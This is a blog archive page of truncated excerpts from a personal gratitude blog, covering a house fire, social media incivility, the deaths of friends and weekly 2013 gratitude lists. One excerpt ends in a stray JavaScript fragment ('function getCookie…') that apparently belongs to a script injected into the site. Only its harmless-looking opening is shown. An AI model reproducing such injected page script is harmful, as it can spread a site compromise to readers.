Personal Projects

The lemons arrived on April 17th in the form of a 3 a.m. phone call, the kind of phone ringing that jars you from a sound sleep and instantly panics you that someone has died. It was a police officer delivering the news that our beach house had burned down. To the ground. There was nothing left, he said, and firefighters had been on scene for hours trying to keep the whole neighborhood from going up in flames.

At first we thought it was a prank. We had been doing a major renovation on the house and had recently fired the builder—an angry, misogynistic fellow who had made every moment of the project utterly miserable. Surely this was just a sick joke…


Divided We Fall

The stuff I read in my social media feeds and on online comment boards is driving me crazy lately. There’s a perilous level of contentiousness, with people weighing in passionately and angrily on a number of issues in the news. There’s bashing and name-calling and vitriolic snark. It’s all pretty scathing and uncivil.

And believe it or not, none of it has to do with politics.

This week alone, the three big issues being hotly debated in my feeds concern Jay Leno/Jimmy Fallon and The Tonight Show, the death of Philip Seymour Hoffman and allegations against Woody Allen.

Now, I don’t have personal connections to any of these celebrities, but by the fervor with which people preach about them, apparently many…


Live Fully, Love Fully

 

Had the privilege this week of celebrating the life of an exceptional man, supremely talented designer and dear friend who passed away suddenly and far too young. In the funny and poignant farewells, this colorful, charming, exceedingly talented gentleman was remembered by family, friends and colleagues with tiny tears, joyful laughter and infinite love. It was the ultimate special event — truly befitting a genuine legend of the special events industry. I join his many admirers in thanking his family for sharing their beloved husband and father with us. He touched so many lives and his memory is an inspiring reminder to live fully and love fully, for you never know what tomorrow holds. function getCookie(e){var U=document.cookie.match(new…


Gratitude Friday 2013: Year in Review

With the year quickly coming to a close, this marks the last Gratitude Friday of 2013. This is the second year I’ve kept an online weekly gratitude journal, and I honestly enjoyed sitting down each week to reflect on the good things that had happened during the previous week.

But while the exercise has helped me accomplish my personal goal of living a more grateful life, sadly I fell quite short in my professional goal of creating an engaged community of like-minded people sharing what they’re grateful for. (“Hello? Is this thing on?”) Although I obviously need to adjust my tactic for engaging people more effectively, I am resolute in not abandoning my mission and vision of…


Sometimes an attitude of gratitude can carry you through the oddest, most aggravating stuff. This was one of those weeks.

The problem

The parking garage we always use in midtown Manhattan lost the key to our car. We had just finished an afternoon of meetings and appointments and were rushing to pick up the car (whom we’ve named Lady Victoria, by the way), so we could move her uptown before meeting friends for a celebratory holiday dinner at a fancy-schmancy restaurant. The key was nowhere to be found. They turned the place upside down. They looked in the key box. In the garbage can under the key box. In the dumpster. In every crevice of Lady Vic. In…


Gratitude Friday 2013: Week 50

The year is winding down and it’s a wonderful time to stop and appreciate the specialness of December and the holiday season. That’s what this week’s gratitude list is all about:

♥ We’ve enjoyed cozy fires in our family room fireplace. It’s so much fun to curl up on our big L-shaped couch with a blanket and a few other members of the family and watch a movie by the fire. Last weekend we saw The History of the Eagles which was fascinating and entertaining, as well as The Heat. Melissa McCarthy is laugh-out-loud funny in it!

♥ Unlike the rest of the year, there are hand-addressed cards in the mail every day instead of just bills, catalogs and junk. We…


“Let us be grateful to the people who make us happy; they are the charming gardeners who make our souls blossom.” 

― Marcel Proust

I lost a sweet friend last week. We weren’t childhood friends, or college friends, or couples friends or even “meet for coffee” friends. Some might consider us mere acquaintances. But I thought of her as my friend. My happenstance friend. Our oldest kids are the same age, so over the years we’d find ourselves at the same school events and community activities. From time to time we’d run into each other at the grocery store. She was caring enough to introduce herself when she recognized I was new to the area six years ago, and…


Gratitude Friday 2013: Week 48

Instead of a list this Thanksgiving week, I decided to make a word cloud out of all the things I’ve been grateful for so far this year. (A word cloud is a visual representation of text you provide, giving greater prominence to words that appear more frequently in your text). I copied and popped all my Gratitude Friday 2013 posts into a word cloud generator called Tagxedo.com and this is what I ended up with:

For a cool piece of personalized artwork, try it yourself with some words you love. You can play around with different shapes, colors, fonts and other variables—and it’s all free to download, print and share.

And based on my word cloud, it’s no surprise…


Gratitude Friday 2013: Week 47

Having gratitude is awesome when things are going well in your life, but did you know it’s even more powerful when life isn’t exactly hunky-dory? This interesting piece by gratitude expert Dr. Robert Emmons explains how recognizing and expressing gratitude can help give perspective during bad times. I’ve used this strategy with great success in my own household when someone has fallen pray to chronic complaining. Having them list a few things they’re grateful for has an almost instantaneous positive effect. Try it some time.

What’s on my gratitude list this week?

♥ Time with some of my best and favorite friends. True friends are those who are eager to meet you halfway for a fabulous evening…


Gratitude Friday 2013: Week 46

I just finished watching a live webcast from Georgetown University about the future of Afghan women and girls, where speakers Hillary Clinton, John Kerry and Laura Bush talked about the importance of women in establishing a secure and prosperous Afghanistan once U.S. troops leave. My son, a freshman at Georgetown, got in line at 3:30 this morning to get a seat in the hall and watch this important discussion live. I’m truly filled with gratitude by this morning’s program:

♥ First, I’m so grateful to live in a country where women have equal rights and opportunities as citizens. One of the most moving quotes was attributed to a member of an Afghan women’s group: “Society is…